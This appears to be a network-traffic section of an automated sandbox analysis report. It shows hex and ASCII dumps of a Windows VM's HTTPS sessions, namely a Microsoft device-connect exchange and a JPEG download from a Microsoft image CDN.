22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 
72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 6
4 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 
5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 69 74 65 6d 50 72 6f 70 65 72 74 79 4d 61 6e 69 
66 65 73 74 5c 22 3a 7b 5c 22 6e 6f 4f 70 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 61 63 74 69 6f 6e 5c 22 7d 7d 2c 
5c 22 69 74 65 6d 73 5c 22 3a 5b 7b 5c 22 70 72 6f 70 65 72 74 69 
Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedCont
ent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"itemPropertyManifest\":{\"noOp\":{\"type\":\"action\"}},\"items\":[{\"properti

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

164 192.168.2.5 49935 20.199.120.151 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 09:01:52 UTC 2672 OUT Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 32 35 37 65 62 30 66 36 38 32 38 32 
31 33 36 62 0d 0a 0d 0a 
Data Ascii: CNT 1 CON 246Context: 257eb0f68282136b

2022-07-01 09:01:52 UTC 2672 OUT Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 
6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 
6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 
34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 
76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 
61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e 
Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc>
<lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</
deviceName></agent></connect>

2022-07-01 09:01:52 UTC 2673 OUT Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 32 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 32 35 37 65 
62 30 66 36 38 32 38 32 31 33 36 62 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 
3e 74 3d 45 77 43 77 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 
62 6d 51 41 41 66 67 54 2f 37 30 52 32 76 44 6f 6a 4d 61 68 74 49 4e 66 45 44 49 77 65 37 44 41 45 63 6f 54 58 78 79 3
8 4f 42 65 43 7a 41 4c 4f 55 74 58 2b 42 6f 63 75 74 45 55 70 34 45 4e 49 43 39 37 56 74 43 59 72 36 78 44 6e 59 69 72 
38 49 38 62 30 37 47 53 38 44 67 6e 33 31 33 58 33 38 70 61 6a 4c 47 73 31 66 6f 79 70 46 4e 6e 55 73 41 47 54 45 69 
61 55 59 43 65 71 63 30 39 48 4e 33 39 50 67 5a 61 58 61 35 4d 76 6e 
Data Ascii: ATH 2 CON\DEVICE 1026Context: 257eb0f68282136b<device><compact-ticket>t=EwCwAupIBAAU1bDG
fdaziDfXpjN5N6cYhT1wbmQAAfgT/70R2vDojMahtINfEDIwe7DAEcoTXxy8OBeCzALOUtX+BocutEUp4ENIC97VtC
Yr6xDnYir8I8b07GS8Dgn313X38pajLGs1foypFNnUsAGTEiaUYCeqc09HN39PgZaXa5Mvn

2022-07-01 09:01:52 UTC 2674 OUT Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 32 39 0d 0a 43 6f 6e 74 65 78 74 3a 20 32 35 37 65 62 30 66 36 38 
32 38 32 31 33 36 62 0d 0a 0d 0a 
Data Ascii: BND 3 CON\QOS 29Context: 257eb0f68282136b

2022-07-01 09:01:52 UTC 2674 IN Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a 
Data Ascii: 202 1 CON 58

2022-07-01 09:01:52 UTC 2674 IN Data Raw: 4d 53 2d 43 56 3a 20 70 43 4a 58 42 2f 57 75 64 30 71 4e 46 54 52 5a 76 35 67 47 6f 67 2e 30 0d 0a 0d 0a 50 
61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e 
Data Ascii: MS-CV: pCJXB/Wud0qNFTRZv5gGog.0Payload parsing failed.

Session ID Source IP Source Port Destination IP
Destination
Port

Process

165 192.168.2.5 49939 80.67.82.211 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-07-01 09:01:55 UTC 2674 OUT GET /cms/api/am/imageFileData/RE4Fies?ver=7654 HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: img-prod-cms-rt-microsoft-com.akamaized.net
Connection: Keep-Alive

2022-07-01 09:01:55 UTC 2674 IN HTTP/1.1 200 OK
Content-Type: image/jpeg
Access-Control-Allow-Origin: *
Content-Location: https://image.prod.cms.rt.microsoft.com/cms/api/am/imageFileData/RE4Fies?ver=7654
Last-Modified: Mon, 20 Jun 2022 10:40:02 GMT
X-Source-Length: 472261
X-Datacenter: northeu
X-ActivityId: e653f90e-a225-4ea5-86b3-2a34b04c7614
Timing-Allow-Origin: *
X-Frame-Options: DENY
X-ResizerVersion: 1.0
Content-Length: 472261
Cache-Control: public, max-age=265282
Expires: Mon, 04 Jul 2022 10:43:17 GMT
Date: Fri, 01 Jul 2022 09:01:55 GMT
Connection: close

2022-07-01 09:01:55 UTC 2675 IN Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 03 02 02 03 02 02 03 03 03 03 04 
03 03 04 05 08 05 05 04 04 05 0a 07 07 06 08 0c 0a 0c 0c 0b 0a 0b 0b 0d 0e 12 10 0d 0e 11 0e 0b 0b 10 16 10 11 13 14 
15 15 15 0c 0f 17 18 16 14 18 12 14 15 14 ff db 00 43 01 03 04 04 05 04 05 09 05 05 09 14 0d 0b 0d 14 14 14 14 14 14 
14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 
14 14 14 14 14 ff c0 00 11 08 04 38 07 80 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 
00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 
02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 
Data Ascii: JFIF``CC8"}!1AQa"q2

2022-07-01 09:01:55 UTC 2690 IN Data Raw: 31 fe b4 04 01 49 ab 38 06 98 c0 72 05 1c c1 ca 40 cb 9c 52 98 f7 54 89 8d dc fe 94 e2 ca 38 34 73 05 88 0c 7f 
a5 20 8c 1e 45 3e 52 17 e9 49 1c a8 c0 e1 c1 3f 5a 39 86 90 c5 5a 0a 61 8d 4b b8 6d cd 35 ba d2 b8 58 8f 66 7f 86 9a 53 
e6 a9 bd 8d 04 51 70 b1 1e c1 b7 3d fb d3 0a f7 a9 18 e7 81 4d 03 0b 9a 2e 16 23 28 79 02 98 cb 86 15 2f 98 03 1a 52 3e 
5c f7 a7 cc 3b 0d 45 1b 41 ef 48 47 53 de 9e 3e ed 07 e9 9a 8b 8f 94 84 af 71 d6 82 a0 a8 ed 52 14 03 8c 60 d0 a8 02 fa 
8a 2e 55 88 fc bf 94 0a 0a 80 df 4a 97 68 e9 f7 69 08 f5 a5 71 72 90 ed f9 bd a9 3c bf 97 3c 7e 35 20 50 78 3f 35 38 29 3c 
83 47 31 5c a4 05 69 9b 77 71 56 59 45 30 a8 1c 8e 0f a5 1c c3 e5 22 11 e3 9a 76 cf 97 de a6 da 07 e1 48 78 a9 e6 1f 29 
13 20 a8 ca 67 8a b0 a3 2b cf 14 85 47 4f 4a 5c c0 
Data Ascii: 1I8r@RT84s E>RI?Z9ZaKm5XfSQp=M.#(y/R>\;EAHGS>qR`.UJhiqr<<~5 Px?58)<G1\iwqVYE0"vHx) g+GOJ\

2022-07-01 09:01:55 UTC 2706 IN Data Raw: 38 02 1b c1 93 df 80 18 1a b5 65 e3 2f 88 de 1a 62 96 da c6 bb 67 93 da 69 39 c7 e2 41 f6 e2 bc 2b 48 f8 93 
1d bb dc 4b aa c0 6d ee 1d 19 60 16 d1 67 2c 79 19 24 f0 33 fa 56 8d 9f c7 6d 6a c2 da e6 c7 4e d4 2f a0 4b d4 58 a5 69 
23 46 0a 01 ce 55 88 25 39 ea 54 82 47 19 ab 54 1a 7b 13 f5 84 f7 3e 8a d2 ff 00 6a 4f 8b 9a 18 48 e5 f1 6e a5 b6 3c 81 
1d d9 05 3f 22 a3 3f 4a eb b4 7f db cf e2 76 86 43 b4 9a 3e a2 57 39 fb 55 96 f6 23 a7 de 56 1d 7e 95 e0 7e 09 fd a2 6f 7c 
13 72 41 b7 d0 75 f8 65 8d 63 9e df c4 56 89 7b 11 2b ce 54 9f 99 09 c9 e4 1e 7f 01 5d 45 ff 00 ed 25 a3 78 c6 48 2d ed 
be 1b f8 27 4c 54 22 49 a4 b6 b5 9a 67 95 81 04 20 67 93 e4 53 8e 76 8c e3 8c 8a e7 92 9c 65 a2 34 e7 8b 89 e7 fe 26 
ba 87 57 be 96 f9 ed 85 bc f3 4a 59 d5 64 dc 32 cc 58 95 
Data Ascii: 8e/bgi9A+HKm`g,y$3VmjN/KXi#FU%9TGT{>jOHn<?"?JvC>W9U#V~~o|rAuecV{+T]E%xH-'LT"Ig gSve4&WJY
d2X

2022-07-01 09:01:55 UTC 2708 IN Data Raw: 73 8e 0f 7a a9 24 cb 9e 08 cf eb 5f 1f 6b 7f b6 af 89 ae d2 71 a4 e8 56 1a 71 45 e3 ed 2c 67 61 ef c8 00 fe 55 
c0 6a 5f b4 cf c4 bd 62 e5 e2 1a 9c 96 fb c0 3b 74 bb 72 9b 73 e8 57 3c fe 35 6a 84 b7 6c cf eb 30 e8 8f be 5e 60 72 06 
00 1d d8 81 fc eb 07 58 f1 9e 87 a2 37 fc 4c 75 9d 3e cc 73 cc b7 4b fd 09 af 85 45 a7 c5 af 1e 32 23 47 e2 7d 5d 48 dc 
04 ad 20 03 3f 5c 0e 6b 5b 49 fd 95 be 25 ea 97 82 59 74 78 f4 b8 dc 0f de 6a 77 0a 31 ef b4 16 39 ab 8d 38 2d 64 cc fd 
b4 e4 fd d8 9f 4e 6b 5f b4 47 c3 cd 33 20 78 8e 2d 45 c1 20 c7 61 13 48 d9 fc 80 fd 6b 84 d4 3f 6b 1f 0f 4d e6 9d 33 44 d5 
2e 52 32 43 35 de d8 13 f3 c9 35 cb 69 7f b1 97 88 1a 20 35 3f 14 69 b6 4a 4e 5b fb 3e 26 96 41 f4 62 a0 57 07 fb 41 7c 
01 d2 be 12 f8 7f 46 9e cb c4 1a a6 a9 a8 6a 37 2c 
Data Ascii: sz$_kqVqE,gaUj_b;trsW<5jl0^`rX7Lu>sKE2#G}]H ?\k[I%Ytxjw198-dNk_G3 x-E aHk?kM3D.R2C55i 5?
iJN[>&AbWA|Fj7,

2022-07-01 09:01:55 UTC 2725 IN Data Raw: 6f 77 aa 5c da 1b 7f 25 5a e4 c6 11 59 49 24 aa 00 0e 4f af 6a fa 27 47 f8 03 f0 e7 40 da 6c fc 17 a3 a3 a8 c0 
92 5b 71 23 7e 64 9e 7d e8 c4 56 a7 17 65 13 4a 51 aa fa 9f 32 dd 7e db fa b0 b7 41 06 83 61 6f 31 18 32 4c 5e 5e 7d 94 
00 00 fc 79 ae 5c fe d3 ff 00 16 fc 75 7f 1d 97 87 e3 8e 39 e5 6d 91 c7 a6 d8 ac 4c 4f bb b9 20 7e 75 f6 66 b7 f0 63 c0 be 
21 87 65 f7 85 b4 d2 76 ed 59 61 80 45 22 8f 66 5c 11 5e 5d e2 4f d8 bf c2 5a a3 34 9a 46 ab aa 68 8e 7a 29 90 5c 46 0f 
d0 e0 8f cc d7 14 27 4a fe f2 3a 65 1a af 66 79 32 7c 13 fd a4 7c 6b ff 00 1f fa ac d0 47 bb 24 5d eb 89 b4 03 d4 00 8c 6a 
6b 6f d8 37 c5 ba 8d c8 93 c4 1e 2d b3 b5 90 8f 98 db 19 2e 1f f2 38 07 eb 9a b9 a9 7e cb 3f 15 bc 14 e2 5f 09 f8 8a db 53 
85 33 88 a1 b8 6b 79 08 3e a1 f0 09 fa 1a ae 
Data Ascii: ow\%ZYI$Oj'G@l[q#~d}VeJQ2~Aao12L^^}y\u9mLO ~ufc!evYaE"f\^]OZ4Fhz)\F'J:efy2||kG$]jko7-.8~?_S3ky>

2022-07-01 09:01:55 UTC 2741 IN Data Raw: 98 80 4f 4a f2 6a 62 a8 d6 4d 42 57 fb d1 e9 47 0d 5a 8b b4 a1 bf 52 b7 84 7e 06 cd af 78 66 c7 c5 32 47 25 fa 
c3 71 2c 92 c5 13 2b 22 aa 30 3f 32 f5 39 62 73 c1 18 07 ad 7d 51 a7 fe c6 7a f7 c5 8f 84 be 11 f1 96 91 77 a0 db ea 37 
b6 25 e7 83 68 b5 91 8f 98 c5 32 c0 05 04 21 55 e8 0e 07 7c e6 b9 df 87 f6 cf 61 e1 88 ed d8 35 ba ac 2a 2d e3 b7 1f eb 
77 1c 7d d1 fc 27 3d cf 38 35 62 2b fb db 7b 79 e2 b8 92 69 61 60 44 36 91 cf 20 2b c9 f9 b6 f0 38 3c 60 0a f1 25 98 55 
75 24 e5 aa e9 ae c7 ae f0 34 f9 22 a1 a3 eb d4 4d 2f 4f f8 e5 f0 12 fe 3d 27 4e d4 64 b7 8e 41 be 2b 4b 6d 42 0b ab 66 f9 
b6 fc ca 58 85 cf b9 07 15 eb 1e 19 fd ab be 21 e9 1a 87 f6 7f 8b f4 5f 0e dd b4 40 f9 92 c7 7b e5 4a 71 d7 01 37 a9 c6 7b 
0a f0 0b 1d 2b 59 d4 6e 35 1b bb 7d 30 59 d9 18 
Data Ascii: OJjbMBWGZR~xf2G%q,+"0?29bs}Qzw7%h2!U|a5*-w}'=85b+{yia`D6 +8<`%Uu$4"M/O='NdA+KmBfX!_@{Jq7
{+Yn5}0Y

2022-07-01 09:01:55 UTC 2749 IN Data Raw: cf b0 20 56 d7 ec f3 e2 ab eb 1d 4a 4b 0f 0f 3b 3d fd d3 b4 53 cd 2c 0d 18 85 1b 80 5b 38 0a c7 39 07 9c 0a f2 
cd 15 84 de 24 b4 4b eb 69 12 19 d0 e5 a6 0a 8a a0 1e cc 7a b6 7a 00 45 76 5e 0d f1 0e 81 e0 1f 19 de 5d cf ae c9 1d a0 
5d f7 51 c9 74 0a ee 5e 15 15 53 27 70 ea 4f e1 9a c6 a5 18 cd 24 cb a7 36 a5 7d 8f 48 d6 75 3f 14 da df de c7 79 e2 0b 
68 b4 6b 6b 86 82 4b ab e1 b2 d9 54 ae 17 1c fc f9 e9 cf cc 4f 3c 75 ae 1f e1 dd 90 f1 8f 8e 4e a9 29 06 3b 2b 69 65 9d 64 
98 c7 1c ce cd f2 88 97 27 6a e5 72 73 c9 03 bd 6b 78 a3 e2 e7 87 fc 6b aa d8 5d 59 98 ee 6d 6d e7 79 be cf 75 1a ba 3c 
6a 80 16 6f 97 92 01 c8 07 e9 5c 4e 99 f1 12 c6 de ff 00 54 1a 55 ff 00 95 69 75 72 b7 7f ea c8 60 51 58 72 46 06 30 70 
14 70 2b c7 58 79 42 32 51 56 b9 eb d4 ad 19 4d 4a 
Data Ascii:  VJK;=S,[89$KizzEv^]]Qt^S'pO$6}Hu?yhkkKTO<uN);+ied'jrskxk]Ymmyu<jo\NTUiur`QXrF0pp+XyB2QVMJ

Timestamp
kBytes
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Direction Data
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2022-07-01 09:01:55 UTC 2765 IN Data Raw: 41 c5 7a 4f 0e d2 bb 96 fb 9e 2a ae b9 b4 8e 8b 64 75 cd aa e8 ba 9b cb 7f 77 a9 de 23 dc 4a 4b 89 2d 01 1c 
f4 00 86 e8 06 00 14 cb 1f 0f 69 3e 27 84 e9 7a 6d eb 6a 77 24 86 10 db db 39 70 7d cf 40 07 a9 20 0a 9e e2 d3 40 f0 bd 
b6 9f fd b7 24 be 7c 8a 66 fb 0c 3b 5d c2 37 dd dc 3b 1c 0e 9e a7 a8 c5 73 d7 ff 00 10 44 56 f7 3a 6e 81 a5 db 68 da 6c c7
e6 93 68 6b a7 e7 39 67 cf 04 fa 73 8f 5e f5 84 69 73 eb 4d b5 f9 1d 35 2a f2 2b 54 b7 a7 53 7f c2 5f db 7a 3e a1 73 65 6b 
1f f6 7c 56 e1 a3 79 62 50 b2 3b 0c f1 e6 f2 70 0f 5d a4 0a b4 b6 3e 24 6b 6b bb 51 6d 7d e4 5e 11 e6 4d 0f ce ef 86 ce 
77 8c 90 09 c6 7e 95 cd cf e2 fb bd 4a c2 2d 3a 01 1c 05 f2 93 2d b8 c0 95 88 03 27 39 20 05 1d 07 bd 76 de 1d f8 55 ad 
ea 7a 7d bc f0 5d ff 00 66 c1 24 0d 38 bc 96 4f 2a 
Data Ascii: AzO*duw#JK-i>'zmjw$9p}@ @$|f;]7;sDV:nhlhk9gs^isM5*+TS_z>sek|VybP;p]>$kkQm}^Mw~J-:-'9 vUz}]f$8O*

2022-07-01 09:01:55 UTC 2781 IN Data Raw: 37 8c 94 92 ec d7 e8 d9 c6 db 69 33 35 b4 57 4f 14 b1 c2 4e d5 9b cb 3b 18 8e a0 1e 84 fd 2b b7 97 56 b0 f0 
5e 8b a7 c3 15 a4 5a 86 b1 37 fa 60 69 08 31 c1 91 b5 37 00 7e f0 19 38 f5 af 45 f0 cf c2 cf 14 f8 97 c1 96 92 8b 2b ad 5c 
dd 9c 25 b5 b9 45 f2 62 53 c6 d5 c8 20 96 f4 18 23 bd 64 eb 3f b3 7f 88 2d 23 f3 5b c3 1a d5 b1 c6 72 d0 33 03 ea c1 80 
3d 2b 9e 79 8e 19 cf d9 d4 92 56 7d ce aa 79 76 26 30 f6 94 a3 7b ae ab fe 1c f1 dd 53 52 bd d6 ee 45 c5 ed cb dc ca 4f 
56 3e be 83 a0 15 72 d2 ce e6 e7 64 61 d9 ed 99 86 40 e0 2b 63 b8 f7 1d 0d 6b 45 e1 41 e1 9d 59 d3 5d b6 b9 92 03 26 
d1 0c 44 46 ed dc 6e 27 95 fc b3 5e 85 aa e8 50 15 d2 6f 60 b2 b5 d0 a6 68 4c a2 dc 06 6c 46 7e e3 33 1e 0b 9f bd cf 6c 
57 6d 5c 55 2a 6a 36 d9 f5 e8 71 52 c2 54 a9 27 cd ba dd 
Data Ascii: 7i35WON;+V^Z7`i17~8E+\%EbS #d?-#[r3=+yV}yv&0{SREOV>rda@+ckEAY]&DFn'^Po`hLlF~3lWm\U*j6qRT'

2022-07-01 09:01:55 UTC 2805 IN Data Raw: 79 83 29 b7 d3 96 d8 ca 07 dd 2a aa 32 40 cf 6a fa cf c0 bf b2 af 8e ae 34 9b bd 4a 2b ed 3f c1 d7 53 e9 cb a5 
59 43 7d 01 b8 b8 5b 56 90 34 92 48 a0 e1 18 8c 90 a3 92 48 c9 15 f4 57 c3 bf 82 fe 1b f8 7b be f1 21 93 5a d7 a7 40 b7 
1a c6 ad b6 6b 82 3a 94 41 8d b1 a0 3d 15 00 1f 5a f4 02 dc e4 d7 95 3a 90 e5 8c 63 14 ad d3 a7 f5 ea 75 5e a5 db e6 7a 
f5 7b ff 00 c0 2b e9 36 b2 69 fa 5d 9d a4 b7 06 ee 58 20 8e 27 b8 64 0a 65 65 50 0b 90 09 00 9c 67 19 ab a1 aa 3d de 94 
bb ab 98 2c 49 9c 71 4e 0d b6 a2 dd 46 ea 05 62 62 d8 e6 9b bb de a3 dd 41 34 0b 94 7e ea 42 fe 94 c2 d4 84 d4 b6 57 
28 a4 fe 54 dd c6 9b ba 9a 5a a3 98 bb 0f 66 a6 97 a6 96 a8 d9 ab 36 ca 51 24 2f 4d dd 51 ef a6 ee ac 9c 8b 51 24 f3 29 
a5 fd 2a 32 f9 a6 ef fc ab 17 23 45 12 4d d4 d2 d5 19 7a 
Data Ascii: y)*2@j4J+?SYC}[V4HHW{!Z@k:A=Z:cu^z{+6i]X 'deePg=,IqNFbbA4~BW(TZf6Q$/MQQ$)*2#EMz

2022-07-01 09:01:55 UTC 2821 IN Data Raw: 38 42 4c ed c0 27 dc d7 4a a3 88 8b 94 a9 c9 25 e9 d8 e3 95 7c 34 94 63 52 2e 4f d7 bf fc 0b 1d 0d d7 c2 6b 
fb 04 8e 61 e6 4b 1e 37 3c 6c bb 5b 1e d9 e0 d6 8e 87 a1 4b aa e8 97 b3 da 5b 5b da 35 bb a4 71 33 03 9d e7 39 25 87 
39 00 7e 78 ab 7e 17 d5 66 d0 6c 25 d6 fc 49 79 7d 23 c3 ba 2b 3b 6b 86 27 76 78 19 04 82 47 b6 3d eb 36 f7 e2 3d d7 
87 b4 bb 33 a2 c9 14 57 57 73 c9 73 39 31 2c 91 60 80 14 2a 9e 41 1e f5 82 9e 2a a5 e0 ac da 6b 5d 97 76 6a a3 84 a7 6
9 bb a4 d3 ba eb e4 51 5f 85 1a ed c4 86 48 a4 b7 9d 89 c9 62 c4 72 79 3c 91 d6 a9 1f 04 de 68 f7 fe 5e ac 0d 9d b2 0d c
d 2a fc c0 ae 79 0a 7d 6b a6 b5 f8 ef e2 b6 b5 c4 a3 4c 74 54 27 71 b2 55 3d 3a 92 3a d7 49 37 89 c6 a5 e1 79 2f 7c 4d 2
4 6f f6 98 54 5b da db c6 23 6d e4 76 07 bf 3d 39 e3 9a 9f 6d 8e 
Data Ascii: 8BL'J%|4cR.OkaK7<l[K[[5q39%9~x~fl%Iy}#+;k'vxG=6=3WWss91,`*A*k]vjiQ_Hbry<h^*y}kLtT'qU=::I7y/|M$oT[#
mv=9m

2022-07-01 09:01:55 UTC 2837 IN Data Raw: 43 84 68 e9 77 25 c2 d9 ee 4f 31 22 93 32 33 9c e3 6a a8 1d 3d 49 35 5b 52 d7 57 55 74 17 26 e2 7f 29 16 30 
23 23 6e 00 1d 16 a9 dd eb 1f 68 5b 38 52 dd 9c 40 a4 6e 95 b9 24 9c f4 1c 70 38 ad 2b 8d 2e de df 49 83 54 96 75 b6 96 
40 5a 2b 68 c1 79 18 e7 04 9c f0 14 7a d5 68 ad cc 4e ae fc 86 a5 ff 00 86 66 f0 9d d6 9d a8 cf 24 51 06 64 78 e3 98 ee 
62 0e 0e e2 a0 60 01 ee 45 61 ea 7a 97 fc 24 37 f7 37 d2 4f 72 48 72 89 95 c8 55 24 80 a0 67 80 6a 6b ed 7a d3 59 bc 91 
e5 b0 9e 63 b5 51 65 33 f2 40 00 67 04 1f ca bd 1b e1 6f 81 b5 02 89 2a d9 62 dd 2f 52 6b d9 5d 93 e5 84 a1 c4 4a c7 38 
73 9f ba 06 47 5e 2b 17 27 04 9b d6 47 4c 62 a6 dc 62 ed 13 a0 fd 99 ff 00 65 df 13 7c 76 d4 a7 5d 33 4c 8e 4d 3a c4 b9 
be bc b9 61 12 43 26 dc c7 19 24 1c 33 76 c0 38 eb 8a fa 
Data Ascii: Chw%O1"23j=I5[RWUt&)0##nh[8R@n$p8+.ITu@Z+hyzhNf$Qdxb`Eaz$77OrHrU$gjkzYcQe3@go*b/Rk]J8sG^
+'GLbbe|v]3LM:aC&$3v8

2022-07-01 09:01:55 UTC 2877 IN Data Raw: a2 32 f9 91 c6 d1 6f 45 60 3e 57 c8 e4 37 6c e4 7b d7 6d e0 6f 0c bf c4 1d 53 4a 91 27 b9 4d 89 e7 cd 1e 99 
39 45 59 41 21 b0 a4 fd f6 5e 7f 51 9a ca 7b eb b1 71 de cb 76 52 f1 d5 97 f6 5d 8c 13 1d 20 e8 92 dd 83 34 b1 4a e4 84 
2d c0 03 dc 74 2d dc d7 8b 6b 96 7f 69 bf 28 64 f3 59 18 2a e0 12 4b 9c e0 2f 3c 8f 7f 5a f6 cf 8a 12 43 7b aa 4f 1e 95 19 
b9 58 80 56 96 e0 1c 3e c1 cc 47 20 7c c0 f5 38 03 3d eb c8 62 cd c4 91 ca b8 b7 90 b8 04 1c 05 db 9e bb 8f 4c 67 d7 15 
d9 4a 4f 90 c2 b2 f7 ac 79 5e a3 63 3c 77 46 26 75 b6 95 18 2b 47 28 39 39 3c 01 80 72 73 d3 b5 3a 6f 0b d9 78 47 55 37 
37 56 51 5c 34 96 ed be da ec 16 08 e7 8d e3 18 c1 f4 06 a6 f8 81 75 69 a1 78 9a da ea da ea 3b 92 4a cd e5 a9 f9 87 38 
51 c7 07 d7 15 57 5d d6 1a f6 62 ce eb be 4f de 10 23 
Data Ascii: 2oE`>W7l{moSJ'M9EYA!^Q{qvR] 4J-t-ki(dY*K/<ZC{OXV>G |8=bLgJOy^c<wF&u+G(99<rs:oxGU77VQ\4ui
x;J8QW]bO#

2022-07-01 09:01:55 UTC 2911 IN Data Raw: 1a 69 3f 07 fc 69 a6 7c 4f 1a 6d b4 b3 f8 92 6d 43 4e b5 d7 74 c6 ba d8 cd 1e df 35 50 a9 c6 7a 76 cd 6d 5b f8 
ef e1 fd 8d e4 a9 6b e2 ff 00 09 db cb 11 0d 19 b0 f0 0d aa 39 53 ce e0 59 09 00 2f 7a f9 de 47 f0 fc db 2c c4 f6 f6 57 65 
04 9f 64 99 9a 79 0a 7f 17 11 aa e7 1f 53 5d 0e 8b e1 fd 3f 53 bf b9 8b 4f b6 b9 d4 66 4d a2 58 ac 6d 18 ed 53 85 19 c0 
07 1e e6 b0 af 5e 94 29 b9 4e 6a 2b bb 69 7d f7 3d 3a 38 67 cf 67 1b bd 3b e9 63 e8 dd 37 f6 80 f0 bf 84 74 b1 79 6d e3 
7d 4b 5f 36 e3 ed 11 78 7e db 42 b5 d2 ed a7 72 46 49 2a 80 81 fc 44 e3 9c 75 ab 7e 23 fd b2 7c 3f 16 83 a7 c9 73 e1 bb 
b7 26 f3 cd 8e d1 a6 56 95 59 57 2b 2b 94 07 6a fc c4 0c 0a f9 cb 56 f0 7e ad e1 fb 39 27 b4 f0 9d fc 1e 53 ab 4d 36 a5 01 
44 55 27 03 b8 2c 73 d0 7e 95 97 69 a2 ea b0 24 
Data Ascii: i?i|OmmCNt5Pzvm[k9SY/zG,WedyS]?SOfMXmS^)Nj+i}=:8gg;c7tym}K_6x~BrFI*Du~#|?s&VYW++jV~9'SM6
DU',s~i$

2022-07-01 09:01:55 UTC 2943 IN Data Raw: 29 ca c6 1b 0d cf 4e 32 71 5c 1f 57 a9 cd b2 b3 bd fd 0f a2 86 69 5a 0b 4a d2 db bb ff 00 33 d3 7f 67 3f 10 1d 
4b 5c d6 2d fe 2a c6 d6 d6 46 28 cd 8d cd ad 92 12 58 6e 32 07 38 38 00 00 7a 0c fb f4 af 71 d7 2d fe 06 5d 59 c9 05 ae 
b3 61 26 ae b0 34 d6 d1 c9 a7 ed dd 8e ed 98 79 f4 3d eb e4 dd 53 5e 87 49 f8 95 76 96 17 76 b2 b4 53 bc 70 dc ca cc 
b3 4b 11 8c aa bb 44 58 90 4a b1 c8 ea 3a d7 3f 0f 8e ef b4 fd 73 ed 70 47 6a f2 45 64 20 91 5a fb 80 1d 8b 38 24 92 54 
03 df 23 39 ed 8a d6 30 8c 62 f9 61 d3 bf 52 e5 9c e3 1c d4 a3 88 96 8f bf 43 76 fb c4 ff 00 13 ad e1 fb 58 f0 47 87 6e 2d 
a4 77 8e 33 15 a4 8a 57 18 3f 74 30 c0 20 82 0d 5e f0 de b3 e2 df 18 7c 30 f1 65 fb 68 9a 4e 83 e2 3b 19 61 87 4d b4 b6 
92 68 a5 bd 59 78 69 22 98 b9 00 a1 e7 18 3e 87 15 46 
Data Ascii: )N2q\WiZJ3g?K\-*F(Xn288zq-]Ya&4y=S^IvvSpKDXJ:?spGjEd Z8$T#90baRCvXGn-w3W?t0 ^|0ehN;aMhYx
i">F

